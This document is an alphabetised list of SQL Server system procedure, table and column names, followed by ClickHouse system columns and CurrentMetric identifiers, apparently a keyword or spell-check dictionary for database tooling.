-sp_subscriptionsummary -sp_synapse_link_enable_db -sp_synapse_link_enable_table -sp_syspolicy_execute_policy -sp_syspolicy_subscribe_to_policy_category -sp_syspolicy_unsubscribe_from_policy_category -sp_syspolicy_update_ddl_trigger -sp_syspolicy_update_event_notification -sp_tablecollations -sp_tablecollations_100 -sp_tablecollations_90 -sp_table_constraints_rowset -sp_table_constraints_rowset2 -sp_tableoption -sp_table_privileges -sp_table_privileges_ex -sp_table_privileges_rowset -sp_table_privileges_rowset2 -sp_table_privileges_rowset_rmt -sp_tables -sp_tables_ex -sp_tables_info_90_rowset -sp_tables_info_90_rowset2 -sp_tables_info_90_rowset2_64 -sp_tables_info_90_rowset_64 -sp_tables_info_rowset -sp_tables_info_rowset2 -sp_tables_info_rowset2_64 -sp_tables_info_rowset_64 -sp_tables_rowset -sp_tables_rowset2 -sp_tables_rowset_rmt -sp_table_statistics2_rowset -sp_table_statistics_rowset -sp_tableswc -sp_table_type_columns_100 -sp_table_type_columns_100_rowset -sp_table_type_pkeys -sp_table_type_primary_keys_rowset -sp_table_types -sp_table_types_rowset -sp_table_validation -sp_testlinkedserver -spt_fallback_db -spt_fallback_dev -spt_fallback_usg -spt_monitor -sp_trace_create -sp_trace_generateevent -sp_trace_getdata -sp_trace_setevent -sp_trace_setfilter -sp_trace_setstatus -sp_try_set_session_context -spt_values -sp_unbindefault -sp_unbindrule -sp_unprepare -sp_unregistercustomresolver -sp_unregister_custom_scripting -sp_unsetapprole -sp_unsubscribe -sp_update_agent_profile -sp_updateextendedproperty -sp_update_logical_pause_flag -sp_updatestats -sp_update_user_instance -sp_upgrade_log_shipping -sp_user_counter1 -sp_user_counter10 -sp_user_counter2 -sp_user_counter3 -sp_user_counter4 -sp_user_counter5 -sp_user_counter6 -sp_user_counter7 -sp_user_counter8 -sp_user_counter9 -sp_usertypes_rowset -sp_usertypes_rowset2 -sp_usertypes_rowset_rmt -sp_validatecache -sp_validatelogins -sp_validatemergepublication -sp_validatemergepullsubscription -sp_validatemergesubscription -sp_validate_redirected_publisher -sp_validate_replica_hosts_as_publishers -sp_validlang -sp_validname -sp_verify_database_ledger -sp_verifypublisher -sp_views_rowset -sp_views_rowset2 -sp_vupgrade_mergeobjects -sp_vupgrade_mergetables -sp_vupgrade_mergetables_v2 -sp_vupgrade_replication -sp_vupgrade_replsecurity_metadata -sp_who -sp_who2 -sp_xa_commit -sp_xa_end -sp_xa_forget -sp_xa_forget_ex -sp_xa_init -sp_xa_init_ex -sp_xa_prepare -sp_xa_prepare_ex -sp_xa_recover -sp_xa_rollback -sp_xa_rollback_ex -sp_xa_start -sp_xcs_mark_column_relation -sp_xml_preparedocument -sp_xml_removedocument -sp_xml_schema_rowset -sp_xml_schema_rowset2 -sp_xp_cmdshell_proxy_account -sp_xtp_bind_db_resource_pool -sp_xtp_checkpoint_force_garbage_collection -sp_xtp_control_proc_exec_stats -sp_xtp_control_query_exec_stats -sp_xtp_flush_temporal_history -sp_xtp_kill_active_transactions -sp_xtp_merge_checkpoint_files -sp_xtp_objects_present -sp_xtp_set_memory_quota -sp_xtp_slo_can_downgrade -sp_xtp_slo_downgrade_finished -sp_xtp_slo_prepare_to_downgrade -sp_xtp_unbind_db_resource_pool -sql -sqlagent_job_history -sqlagent_jobs -sqlagent_jobsteps -sqlagent_jobsteps_logs -sqlbytes -sqlcrypt_version -SQL_DATA_ACCESS -sql_db_id -sql_dependencies -SqlDumperDumpFlags -SqlDumperDumpPath -SqlDumperDumpTimeOut -sql_expression_dependencies -sql_handle -SqlHandle -sql_logins -sql_memory_model -sql_memory_model_desc -sql_message_id -sql_modules -SQL_PATH -sql_plan_node_id -sql_prof_address -sqlserver_start_time -sqlserver_start_time_ms_ticks -sql_severity -sql_spid -sql_text -sql_variant -srvcollation -srvid -srvname -srvnetname -srvproduct -srvstatus -ssl_port -ssrv -stack_address -stack_base_address -stack_bytes_committed -stack_bytes_used -stack_checker_address -stack_end_address -stack_size_in_bytes -stage -stale_query_threshold_days -start_column_id -start_date -started_by_sqlservr -started_count -start_entry_point -start_log_block_id -start_lsn -start_quantum -start_step_id -start_time -StartTime -start_time_utc -startup_state -startup_time -startup_type -startup_type_desc -start_value -START_VALUE -statblob -state -State -state_desc -state_description -state_machine_name -statement -statement_context_id -statement_end_offset -statement_line_number -statement_offset_begin -statement_offset_end -statement_offset_start -statement_sql_handle -statement_start_offset -statement_type -statistical_semantics -statistics_start_time -stats -stats_blob -stats_column_id -stats_columns -stats_enabled -stats_generation_method -stats_generation_method_desc -stats_id -stats_schema_ver -status -status2 -status_desc -status_description -statussequence -status_time -StatVersion -stdev_clr_time -stdev_cpu_time -stdev_dop -stdev_duration -stdev_log_bytes_used -stdev_logical_io_reads -stdev_logical_io_writes -stdev_num_physical_io_reads -stdev_page_server_io_reads -stdev_physical_io_reads -stdev_query_max_used_memory -stdev_query_wait_time_ms -stdev_rowcount -stdev_tempdb_space_used -stdev_time -step_count -step_id -step_index -step_name -step_number -steps -step_uid -stmt_end -stmt_start -stop_entry_point -stoplist_id -stoplistid -stop_time -stopword -storage_key -storage_pool_id -storage_pool_node_name -storage_space_used_mb -stream_id -string_delimiter -string_description -string_sid -strong_refcount -sub -subclass_name -subclass_value -subentity_name -subid -subid_push -subid_tran -subject -sublatch_address -submit_time -subobjid -subsystem -subsystem_dll -subsystem_id -succeeded -success -Success -sumsquare_clr_time -sumsquare_cpu_time -sumsquare_dop -sumsquare_duration -sumsquare_log_bytes_used -sumsquare_logical_io_reads -sumsquare_logical_io_writes -sumsquare_num_physical_io_reads -sumsquare_page_server_io_reads -sumsquare_physical_io_reads -sumsquare_query_max_used_memory -sumsquare_query_wait_time_ms -sumsquare_rowcount -sumsquare_tempdb_space_used -superlatch_address -supports_alternate_streams -supports_compression -supports_sparse_files -suppress_dup_key_messages -survived_memory_kb -suspend_reason -suspend_reason_desc -svcbrkrguid -svccontr -svcid -sweep_rows_expired -sweep_rows_expired_removed -sweep_rows_expiring -sweep_rows_touched -sweep_scan_retries -sweep_scans_started -symbol_space -symbol_space_desc -symmetric_key_export -symmetric_key_id -symmetric_key_import -symmetric_key_persistance -symmetric_keys -symmetric_key_support -symspace -sync_action -synchronization_health -synchronization_health_desc -synchronization_state -synchronization_state_desc -sync_id -sync_reason -sync_result -synonyms -sysadmin -sysallocunits -sysaltfiles -sysasymkeys -sysaudacts -sysbinobjs -sysbinsubobjs -sysbrickfiles -syscacheobjects -syscerts -syscharsets -syschildinsts -sysclones -sysclsobjs -syscolpars -syscolumns -syscomments -syscommittab -syscompfragments -sysconfigures -sysconstraints -sysconvgroup -syscscolsegments -syscscontainers -syscsdictionaries -syscsrowgroups -syscurconfigs -syscursorcolumns -syscursorrefs -syscursors -syscursortables -sysdatabases -sysdbfiles -sysdbfrag -sysdbpath -sysdbreg -sysdepends -sysdercv -sysdesend -sysdevices -sysendpts -sysextendedrecoveryforks -sysextfileformats -sysextsources -sysexttables -sysfgfrag -sysfilegroups -sysfiles -sysfiles1 -sysfoqueues -sysforeignkeys -sysfos -sysftinds -sysftproperties -sysftsemanticsdb -sysftstops -sysfulltextcatalogs -sysguidrefs -sysidxstats -sysindexes -sysindexkeys -sysiscols -syslanguages -syslnklgns -syslockinfo -syslogins -syslogshippers -sysmatrixageforget -sysmatrixages -sysmatrixbricks -sysmatrixconfig -sysmatrixmanagers -sysmembers -sysmessages -sysmultiobjrefs -sysmultiobjvalues -sysname -sysnsobjs -sysobjects -sysobjkeycrypts -sysobjvalues -sysoledbusers -sysopentapes -sysowners -sysperfinfo -syspermissions -sysphfg -syspriorities -sysprivs -sysprocesses -sysprotects -syspru -sysprufiles -sysqnames -sysreferences -sysremotelogins -sysremsvcbinds -sysrmtlgns -sysrowsetrefs -sysrowsets -sysrscols -sysrts -sysscalartypes -sysschobjs -sysseobjvalues -sysseq -sysservers -syssingleobjrefs -syssoftobjrefs -syssqlguides -sysstat -system -system_aborts -system_cache_kb -system_columns -system_components_surface_area_configuration -system_high_memory_signal_state -system_internals_allocation_units -system_internals_partition_columns -system_internals_partitions -system_lookups -system_low_memory_signal_state -system_memory_state_desc -system_objects -system_parameters -system_scans -system_seeks -system_sequence -system_sql_modules -system_time_cs -system_type_id -system_type_name -system_updates -system_views -systypedsubobjs -systypes -sysusermsgs -sysusers -syswebmethods -sysxlgns -sysxmitbody -sysxmitqueue -sysxmlcomponent -sysxmlfacet -sysxmlplacement -sysxprops -sysxsrvs -tabid -table_address -table_alter_failures -table_alter_successes -TABLE_CATALOG -TABLE_CONSTRAINTS -table_create_failures -table_create_not_eligible -table_create_successes -table_directory_name -table_drop_failures -table_drop_successes -table_hashes -table_id -table_level -table_name -TABLE_NAME -table_owner -TABLE_PRIVILEGES -tables -TABLES -TABLE_SCHEMA -tables_in_source -tables_to_alter -tables_to_create -tables_to_drop -TABLE_TYPE -table_types -tabname -tabschema -tag -tail_cache_max_page_count -tail_cache_min_needed_lsn -tail_cache_page_count -tape_operation -tape_operation_desc -target -target_allocations_kb -target_data -target_database_principal_id -target_database_principal_name -target_id -target_kb -TargetLoginName -TargetLoginSid -target_memory_kb -target_name -target_object_id -target_package_guid -target_private_pool_size -target_recovery_time_in_seconds -target_schema_name -target_server_principal_id -target_server_principal_name -target_server_principal_sid -target_table_name -target_type -TargetUserName -task_address -task_bound_ms_ticks -task_id -task_memory_object_address -task_proxy_address -task_retries -tasks_processed_count -task_state -task_state_desc -tasks_waiting -task_type -task_type_desc -tbl_server_resource_stats -tcp_endpoints -tdefault -tdscollation -temporal_type -temporal_type_desc -tessellation_scheme -text -TextData -textinfo_address -text_in_row_limit -TextPtr -text_size -texttype -tgid -thread_address -thread_count -thread_handle -thread_id -thread_type -thread_type_desc -threshold -threshold_factor -thumbprint -ti -ticks_at_cycle_end -ticks_at_cycle_start -time -time_consumed -timelimit -timeout -timeout_error_count -timeout_sec -time_queued -timer_task_affinity_mask -time_since_last_close_in_ms -time_since_last_use -time_source -time_source_desc -timestamp -TimeStamp -timestamp_utc -time_to_generate -time_to_live -time_utc -time_zone -time_zone_info -tinyint -tinyprop -tinyprop1 -tinyprop2 -tinyprop3 -tinyprop4 -tobrkrinst -to_broker_instance -token -to_object_id -topologyx -topologyy -to_service_name -tosvc -total_aborts -total_actions_scheduled -total_allocated_memory_kb -total_bind_cpu_time -total_bind_duration -total_bucket_count -total_buffer_size -total_bytes -total_bytes_generated -total_bytes_received -total_bytes_sent -total_cache_misses -total_cell_count -total_clr_time -total_columnstore_segment_reads -total_columnstore_segment_skips -total_compile_duration -total_compile_memory_kb -total_count -total_cpu_active_ms -total_cpu_delayed_ms -total_cpu_idle_capped_ms -total_cpu_kernel_ms -total_cpu_limit_violation_count -total_cpu_time -total_cpu_usage -total_cpu_usage_ms -total_cpu_usage_preemptive_ms -total_cpu_user_ms -total_cpu_violation_delay_ms -total_cpu_violation_sec -total_dequeues -total_disk_io_wait_time_ms -total_disk_reads -total_dop -total_duration -total_elapsed_time -total_elapsed_time_ms -total_enqueues -total_errors -total_evicted_session_count -total_execution_time -total_forks_cnt -total_fragments_received -total_fragments_sent -total_grant_kb -total_ideal_grant_kb -total_inrow_version_payload_size_in_bytes -total_kb -total_kernel_time -total_large_buffers -total_lock_wait_count -total_lock_wait_time_ms -total_log_bytes_used -total_logical_io_reads -total_logical_io_writes -total_logical_reads -total_logical_writes -total_log_size_in_bytes -total_log_size_mb -total_memgrant_count -total_memgrant_timeout_count -total_memory_kb -total_network_wait_time_ms -total_num_page_server_reads -total_num_physical_io_reads -total_num_physical_reads -total_operation_count -total_optimize_cpu_time -total_optimize_duration -total_overlap -total_page_count -total_page_file_kb -total_pages -total_page_server_io_reads -total_page_server_reads -total_parse_cpu_time -total_parse_duration -total_physical_io_reads -total_physical_memory_kb -total_physical_reads -total_poor_row_groups_analyzed -total_processor_elapsed_time -total_processor_time_ms -total_query_max_used_memory -total_query_optimization_count -total_query_wait_time_ms -total_queued_request_count -total_read -total_receives -total_reduced_memgrant_count -total_regular_buffers -total_request_count -total_request_execution_timeouts -total_requests -total_reserved_threads -total_resource_grant_timeouts -total_rowcount -total_row_groups_analyzed -total_rows -total_rows_analyzed -total_scheduled_time -total_scheduler_delay_ms -total_sends -total_sessions -total_shared_resource_requests -total_size -total_spills -total_suboptimal_plan_generation_count -total_target_memory -total_tempdb_space_used -total_used_grant_kb -total_used_threads -total_user_elapsed_time -total_user_time -total_virtual_address_space_kb -total_vlf_count -total_wait_time_in_ms -total_worker_time -total_write -totcpu -totio -trace_categories -trace_column_id -trace_columns -trace_event_bindings -trace_event_id -trace_events -traceid -traces -trace_subclass_values -trace_xe_action_map -trace_xe_event_map -track_causality -tran_count -transaction_begin_time -transaction_description -transaction_descriptor -transaction_diag_status -transaction_id -TransactionID -transaction_isolation_level -transaction_is_snapshot -transaction_manager_database_id -transaction_manager_database_name -transaction_manager_dbid -transaction_manager_rmid -transaction_manager_server_name -transaction_ordinal -transaction_phase_1_time -transaction_phase_2_time -transaction_sequence_num -transactions_root_hash -transaction_state -transaction_status -transaction_status2 -transaction_timeout -transaction_total_time -transaction_type -transaction_uow -transfer_rate_bytes_per_second -transferred_size_bytes -transition_to_compressed_state -transition_to_compressed_state_desc -transmission_queue -transmission_status -transport_stream_id -tree_page_io_latch_wait_count -tree_page_io_latch_wait_in_ms -tree_page_latch_wait_count -tree_page_latch_wait_in_ms -trigger_events -trigger_event_types -triggers -trim_reason -trim_reason_desc -truncate_point -truncation_lsn -_trusted_assemblies -trusted_assemblies -ts -tsql_stack -tstat -two_digit_year_cutoff -tx_bytes -tx_carrier -tx_collisions -tx_compressed -tx_drop -tx_end_timestamp -tx_errors -tx_fifo -txn_tag -txn_type -tx_packets -tx_segments_dispatched_count -type -Type -type_assembly_usages -type_column_id -type_desc -typeint -type_name -type_package_guid -types -type_size -typestat -type_table_object_id -TYPE_UDT_CATALOG -TYPE_UDT_NAME -TYPE_UDT_SCHEMA -UDT_CATALOG -UDT_NAME -UDT_SCHEMA -uid -unackmfn -unallocated_extent_page_count -unfiltered_rows -unique_compiles -UNIQUE_CONSTRAINT_CATALOG -UNIQUE_CONSTRAINT_NAME -UNIQUE_CONSTRAINT_SCHEMA -unique_constraint_violations -uniqueidentifier -unique_index_id -unit_conversion_factor -unit_of_measure -unit_of_work -unsuccessful_logons -updadd -updatedate -updated_last_round_count -update_referential_action -update_referential_action_desc -UPDATE_RULE -update_time -updmod -updtrig -upgrade -upgrade_start_level -upgrade_target_level -upper_bound_tsn -uptime_secs -uri -uriord -url_path -usage -use_count -usecounts -used -used_bytes -used_log_space_in_bytes -used_log_space_in_percent -used_memgrant_kb -used_memory_kb -used_page_count -used_pages -used_worker_count -use_identity -user_access -user_access_desc -user_created -user_defined_event_id -user_defined_information -USER_DEFINED_TYPE_CATALOG -USER_DEFINED_TYPE_NAME -USER_DEFINED_TYPE_SCHEMA -useremotecollation -user_id -user_lookups -usermode_time -user_name -username -user_object_reserved_page_count -user_objects_alloc_page_count -user_objects_dealloc_page_count -user_objects_deferred_dealloc_page_count -user_scans -user_seeks -userstat -user_time -user_time_cs -user_token -usertype -user_type_database -user_type_id -user_type_name -user_type_schema -user_updates -uses_ansi_nulls -uses_database_collation -uses_key_normalization -uses_native_compilation -uses_quoted_identifier -uses_remote_collation -uses_self_credential -use_type_default -using_xml_index_id -utype -valclass -validation -validation_desc -validation_failures -valid_since -valnum -value -value_data -value_for_secondary -value_in_use -value_name -value_of_memory -varbinary -varchar -variable -VerboseLogging -version -version_generated_inrow -version_generated_offrow -version_ghost_record_count -version_record_count -version_sequence_num -version_store_reserved_page_count -via_endpoints -VIEW_CATALOG -VIEW_COLUMN_USAGE -VIEW_DEFINITION -VIEW_NAME -views -VIEWS -VIEW_SCHEMA -VIEW_TABLE_USAGE -virtual_address_space_available_kb -virtual_address_space_committed_kb -virtual_address_space_reserved_kb -virtual_bytes -virtual_bytes_peak -virtual_core_count -virtual_machine_type -virtual_machine_type_desc -virtual_memory_committed_kb -virtual_memory_kb -virtual_memory_reserved_kb -visible_target_kb -vlf_active -vlf_begin_offset -vlf_create_lsn -vlf_encryptor_thumbprint -vlf_first_lsn -vlf_parity -vlf_sequence_number -vlf_size_mb -vlf_status -vm_metric_name -volume_id -volume_mount_point -volume_name -vstart -wait_category -wait_category_desc -wait_duration -wait_duration_ms -waiter_count -wait_id -waiting_requests_count -waiting_task_address -waiting_tasks_count -waiting_threads_count -wait_name -wait_order -wait_reason -wait_resource -waitresource -wait_resumed_ms_ticks -waits_for_io_count -waits_for_new_log_count -wait_started_ms_ticks -wait_stats_capture_mode -wait_stats_capture_mode_desc -wait_stats_id -wait_time -waittime -wait_time_before_idle -wait_time_ms -wait_type -waittype -warm_cold_check_ticks -warm_count -weak_refcount -weight -weighted_io_time_ms -well_known_text -windows_release -windows_service_pack_level -windows_sku -with_check_option -witnesssequence -worker_address -worker_count -worker_created_ms_ticks -worker_migration_count -worker_time -work_id -working_set -workingset_limit_mb -working_set_peak -working_set_private -workitem_type -workitem_version -work_queue_count -workspace_name -write_access -write_bytes_total -write_conflicts -write_count -write_io_completed_total -write_io_count -write_io_issued_total -write_io_queued_total -write_io_stall_queued_ms -write_io_stall_total_ms -write_io_throttled_total -write_lease_remaining_ticks -write_operation_count -write_page_count -writes -Writes -writes_completed -write_set_row_count -writes_merged -write_time -write_time_ms -write_version -wsdl_generator_procedure -wsdlproc -wszArtdelcmd -wszArtdesttable -wszArtdesttableowner -wszArtinscmd -wszArtpartialupdcmd -wszArtupdcmd -xacts_copied_to_local -XactSequence -xacts_in_gen_0 -xacts_in_gen_1 -xacts_in_gen_10 -xacts_in_gen_11 -xacts_in_gen_12 -xacts_in_gen_13 -xacts_in_gen_14 -xacts_in_gen_15 -xacts_in_gen_2 -xacts_in_gen_3 -xacts_in_gen_4 -xacts_in_gen_5 -xacts_in_gen_6 -xacts_in_gen_7 -xacts_in_gen_8 -xacts_in_gen_9 -xdes_id -xdesid -xdes_ts_push -xdes_ts_tran -xdttm_ins -xdttm_last_ins_upd -xe_action_name -xe_event_name -xfallback_dbid -xfallback_drive -xfallback_low -xfallback_vstart -xmaxlen -xml -xml_collection_database -xml_collection_id -xml_collection_name -xml_collection_schema -xml_component_id -xml_data -xml_indexes -xml_index_type -xml_index_type_description -xml_namespace_id -xmlns -xml_schema_attributes -xml_schema_collections -xml_schema_component_placements -xml_schema_components -xml_schema_elements -xml_schema_facets -xml_schema_model_groups -xml_schema_namespaces -xml_schema_types -xml_schema_wildcard_namespaces -xml_schema_wildcards -xoffset -xp_availablemedia -xp_cmdshell -xp_copy_file -xp_copy_files -xp_create_subdir -xp_delete_file -xp_delete_files -xp_dirtree -xp_enumerrorlogs -xp_enumgroups -xp_enum_oledb_providers -xp_fileexist -xp_fixeddrives -xp_getnetname -xp_get_tape_devices -xp_grantlogin -xp_instance_regaddmultistring -xp_instance_regdeletekey -xp_instance_regdeletevalue -xp_instance_regenumkeys -xp_instance_regenumvalues -xp_instance_regread -xp_instance_regremovemultistring -xp_instance_regwrite -xp_logevent -xp_loginconfig -xp_logininfo -xp_msver -xp_msx_enlist -xp_passAgentInfo -xp_prop_oledb_provider -xp_qv -xp_readerrorlog -xprec -xp_regaddmultistring -xp_regdeletekey -xp_regdeletevalue -xp_regenumkeys -xp_regenumvalues -xp_regread -xp_regremovemultistring -xp_regwrite -xp_repl_convert_encrypt_sysadmin_wrapper -xp_replposteor -xp_revokelogin -xp_servicecontrol -xp_sprintf -xp_sqlagent_enum_jobs -xp_sqlagent_is_starting -xp_sqlagent_monitor -xp_sqlagent_notify -xp_sqlagent_param -xp_sqlmaint -xp_sscanf -xp_subdirs -xp_sysmail_activate -xp_sysmail_attachment_load -xp_sysmail_format_query -xquery_max_length -xquery_type_description -xscale -xsdid -xserver_name -xtp_address -xtp_description -xtp_log_bytes_consumed -xtp_object_id -xtp_parent_transaction_id -xtp_parent_transaction_node_id -xtp_transaction_id -xtype -xusertype -yield_count -zone_type - -[ClickHouse] -absolute_delay -access_object -access_type -active -active_children -active_on_fly_alter_mutations -active_on_fly_data_mutations -active_on_fly_metadata_mutations -active_parts -active_replicas -additional_format_info -address -address_begin -address_end -age -aggregate_function_combinators -aliases -alias_for -alias_to -allocations -allow_dynamic_cache_resize -allow_readonly -alnum -alphabetic -alterable -apply_to_all -apply_to_except -apply_to_list -arguments -ascii_hex_digit -as_select -asynchronous_inserts -asynchronous_loader -asynchronous_metric_log -asynchronous_metrics -asynchronous_read_counters -authenticated_user -auth_params -auth_type -azure_queue -azure_queue_settings -background_download_max_file_segment_size -background_download_queue_size_limit -background_download_threads -background_schedule_pool -background_schedule_pool_log -backups -base_backup_name -basic_emoji -belongs -bidi_class -bidi_control -bidi_mirrored -bidi_mirroring_glyph -bidi_paired_bracket -bidi_paired_bracket_type -blank -block -boundary_alignment -broken_data_compressed_bytes -broken_data_files -budget -build_id -build_options -busy_periods -bypass_cache_threshold -bytes -bytes_allocated -bytes_on_disk -bytes_read -bytes_read_compressed -bytes_read_uncompressed -bytes_uncompressed -bytes_written_uncompressed -cache_base_path -cached_at -cache_hits -cache_hits_threshold -cache_name -cache_on_write_operations -cache_path -cache_paths -cache_policy -can_become_leader -canceled_cost -canceled_requests -canonical_combining_class -cardinality -CARDINALITY -cased -case_folding -case_ignorable -case_insensitive -case_sensitive -catalog_name -CATALOG_NAME -categories -certificates -changeable_without_restart -changed -changes -changes_when_casefolded -changes_when_casemapped -changes_when_lowercased -changes_when_nfkc_casefolded -changes_when_titlecased -changes_when_uppercased -character_maximum_length -CHARACTER_MAXIMUM_LENGTH -character_octet_length -CHARACTER_OCTET_LENGTH -character_set_catalog -CHARACTER_SET_CATALOG -character_set_name -CHARACTER_SET_NAME -character_sets -CHARACTER_SETS -character_set_schema -CHARACTER_SET_SCHEMA -check_option -CHECK_OPTION -client_hostname -client_name -client_revision -client_version_major -client_version_minor -client_version_patch -cluster -clusters -code -codecs -code_point -code_point_value -collation -COLLATION -collation_catalog -COLLATION_CATALOG -collation_name -COLLATION_NAME -collations -COLLATIONS -collation_schema -COLLATION_SCHEMA -collection -column -column_bytes_on_disk -column_comment -COLUMN_COMMENT -column_data_compressed_bytes -column_data_uncompressed_bytes -column_default -COLUMN_DEFAULT -column_marks_bytes -column_modification_time -column_name -COLUMN_NAME -column_position -columns -COLUMNS -columns_descriptions_cache_size -columns_version -columns_written -column_ttl_max -column_ttl_min -column_type -COLUMN_TYPE -command -comment -COMMENT -common_prefix_for_blobs -completions -compressed -compressed_size -compression_codec -condition -condition_hash -config_name -constraint_catalog -CONSTRAINT_CATALOG -constraint_name -CONSTRAINT_NAME -constraint_schema -CONSTRAINT_SCHEMA -consumer_id -content_type -context -contributors -cpu_id -create_query -create_table_query -create_time -creation_csn -creation_tid -current_database -current_elements_num -CurrentMetric_ActiveTimersInQueryProfiler -CurrentMetric_AddressesActive -CurrentMetric_AddressesBanned -CurrentMetric_AggregatorThreads -CurrentMetric_AggregatorThreadsActive -CurrentMetric_AggregatorThreadsScheduled -CurrentMetric_AsynchronousInsertQueueBytes -CurrentMetric_AsynchronousInsertQueueSize -CurrentMetric_AsynchronousInsertThreads -CurrentMetric_AsynchronousInsertThreadsActive -CurrentMetric_AsynchronousInsertThreadsScheduled -CurrentMetric_AsynchronousReadWait -CurrentMetric_AsyncInsertCacheSize -CurrentMetric_AttachedDatabase -CurrentMetric_AttachedDictionary -CurrentMetric_AttachedReplicatedTable -CurrentMetric_AttachedTable -CurrentMetric_AttachedView -CurrentMetric_AvroSchemaCacheBytes -CurrentMetric_AvroSchemaCacheCells -CurrentMetric_AvroSchemaRegistryCacheBytes -CurrentMetric_AvroSchemaRegistryCacheCells -CurrentMetric_AzureRequests -CurrentMetric_BackgroundBufferFlushSchedulePoolSize -CurrentMetric_BackgroundBufferFlushSchedulePoolTask -CurrentMetric_BackgroundCommonPoolSize -CurrentMetric_BackgroundCommonPoolTask -CurrentMetric_BackgroundDistributedSchedulePoolSize -CurrentMetric_BackgroundDistributedSchedulePoolTask -CurrentMetric_BackgroundFetchesPoolSize -CurrentMetric_BackgroundFetchesPoolTask -CurrentMetric_BackgroundMergesAndMutationsPoolSize -CurrentMetric_BackgroundMergesAndMutationsPoolTask -CurrentMetric_BackgroundMessageBrokerSchedulePoolSize -CurrentMetric_BackgroundMessageBrokerSchedulePoolTask -CurrentMetric_BackgroundMovePoolSize -CurrentMetric_BackgroundMovePoolTask -CurrentMetric_BackgroundSchedulePoolSize -CurrentMetric_BackgroundSchedulePoolTask -CurrentMetric_BackupsIOThreads -CurrentMetric_BackupsIOThreadsActive -CurrentMetric_BackupsIOThreadsScheduled -CurrentMetric_BackupsThreads -CurrentMetric_BackupsThreadsActive -CurrentMetric_BackupsThreadsScheduled -CurrentMetric_BcryptCacheBytes -CurrentMetric_BcryptCacheSize -CurrentMetric_BrokenDisks -CurrentMetric_BrokenDistributedBytesToInsert -CurrentMetric_BrokenDistributedFilesToInsert -CurrentMetric_BuildVectorSimilarityIndexThreads -CurrentMetric_BuildVectorSimilarityIndexThreadsActive -CurrentMetric_BuildVectorSimilarityIndexThreadsScheduled -CurrentMetric_CacheDetachedFileSegments -CurrentMetric_CacheDictionaryThreads -CurrentMetric_CacheDictionaryThreadsActive -CurrentMetric_CacheDictionaryThreadsScheduled -CurrentMetric_CacheDictionaryUpdateQueueBatches -CurrentMetric_CacheDictionaryUpdateQueueKeys -CurrentMetric_CacheFileSegments -CurrentMetric_CacheWarmerBytesInProgress -CurrentMetric_ColumnsDescriptionsCacheSize -CurrentMetric_CompiledExpressionCacheBytes -CurrentMetric_CompiledExpressionCacheCount -CurrentMetric_Compressing -CurrentMetric_CompressionThread -CurrentMetric_CompressionThreadActive -CurrentMetric_CompressionThreadScheduled -CurrentMetric_ConcurrencyControlAcquired -CurrentMetric_ConcurrencyControlAcquiredNonCompeting -CurrentMetric_ConcurrencyControlPreempted -CurrentMetric_ConcurrencyControlScheduled -CurrentMetric_ConcurrencyControlSoftLimit -CurrentMetric_ConcurrentHashJoinPoolThreads -CurrentMetric_ConcurrentHashJoinPoolThreadsActive -CurrentMetric_ConcurrentHashJoinPoolThreadsScheduled -CurrentMetric_ConcurrentQueryAcquired -CurrentMetric_ConcurrentQueryScheduled -CurrentMetric_ContextLockWait -CurrentMetric_CoordinatedMergesCoordinatorAssignedMerges -CurrentMetric_CoordinatedMergesCoordinatorRunningMerges -CurrentMetric_CoordinatedMergesWorkerAssignedMerges -CurrentMetric_CreatedTimersInQueryProfiler -CurrentMetric_DatabaseBackupThreads -CurrentMetric_DatabaseBackupThreadsActive -CurrentMetric_DatabaseBackupThreadsScheduled -CurrentMetric_DatabaseCatalogThreads -CurrentMetric_DatabaseCatalogThreadsActive -CurrentMetric_DatabaseCatalogThreadsScheduled -CurrentMetric_DatabaseOnDiskThreads -CurrentMetric_DatabaseOnDiskThreadsActive -CurrentMetric_DatabaseOnDiskThreadsScheduled -CurrentMetric_DatabaseReplicatedCreateTablesThreads -CurrentMetric_DatabaseReplicatedCreateTablesThreadsActive -CurrentMetric_DatabaseReplicatedCreateTablesThreadsScheduled -CurrentMetric_DDLWorkerThreads -CurrentMetric_DDLWorkerThreadsActive -CurrentMetric_DDLWorkerThreadsScheduled -CurrentMetric_Decompressing -CurrentMetric_DelayedInserts -CurrentMetric_DestroyAggregatesThreads -CurrentMetric_DestroyAggregatesThreadsActive -CurrentMetric_DestroyAggregatesThreadsScheduled -CurrentMetric_DictCacheRequests -CurrentMetric_DiskConnectionsStored -CurrentMetric_DiskConnectionsTotal -CurrentMetric_DiskObjectStorageAsyncThreads -CurrentMetric_DiskObjectStorageAsyncThreadsActive -CurrentMetric_DiskPlainRewritableAzureDirectoryMapSize -CurrentMetric_DiskPlainRewritableAzureFileCount -CurrentMetric_DiskPlainRewritableLocalDirectoryMapSize -CurrentMetric_DiskPlainRewritableLocalFileCount -CurrentMetric_DiskPlainRewritableS3DirectoryMapSize -CurrentMetric_DiskPlainRewritableS3FileCount -CurrentMetric_DiskS3NoSuchKeyErrors -CurrentMetric_DiskSpaceReservedForMerge -CurrentMetric_DistrCacheAllocatedConnections -CurrentMetric_DistrCacheBorrowedConnections -CurrentMetric_DistrCacheOpenedConnections -CurrentMetric_DistrCacheReadBuffers -CurrentMetric_DistrCacheReadRequests -CurrentMetric_DistrCacheRegisteredServers -CurrentMetric_DistrCacheRegisteredServersCurrentAZ -CurrentMetric_DistrCacheServerConnections -CurrentMetric_DistrCacheServerRegistryConnections -CurrentMetric_DistrCacheServerS3CachedClients -CurrentMetric_DistrCacheSharedLimitCount -CurrentMetric_DistrCacheUsedConnections -CurrentMetric_DistrCacheWriteBuffers -CurrentMetric_DistrCacheWriteRequests -CurrentMetric_DistributedBytesToInsert -CurrentMetric_DistributedFilesToInsert -CurrentMetric_DistributedInsertThreads -CurrentMetric_DistributedInsertThreadsActive -CurrentMetric_DistributedInsertThreadsScheduled -CurrentMetric_DistributedSend -CurrentMetric_DNSAddressesCacheBytes -CurrentMetric_DNSAddressesCacheSize -CurrentMetric_DNSHostsCacheBytes -CurrentMetric_DNSHostsCacheSize -CurrentMetric_DropDistributedCacheThreads -CurrentMetric_DropDistributedCacheThreadsActive -CurrentMetric_DropDistributedCacheThreadsScheduled -CurrentMetric_EphemeralNode -CurrentMetric_FilesystemCacheDelayedCleanupElements -CurrentMetric_FilesystemCacheDownloadQueueElements -CurrentMetric_FilesystemCacheElements -CurrentMetric_FilesystemCacheHoldFileSegments -CurrentMetric_FilesystemCacheKeys -CurrentMetric_FilesystemCacheReadBuffers -CurrentMetric_FilesystemCacheReserveThreads -CurrentMetric_FilesystemCacheSize -CurrentMetric_FilesystemCacheSizeLimit 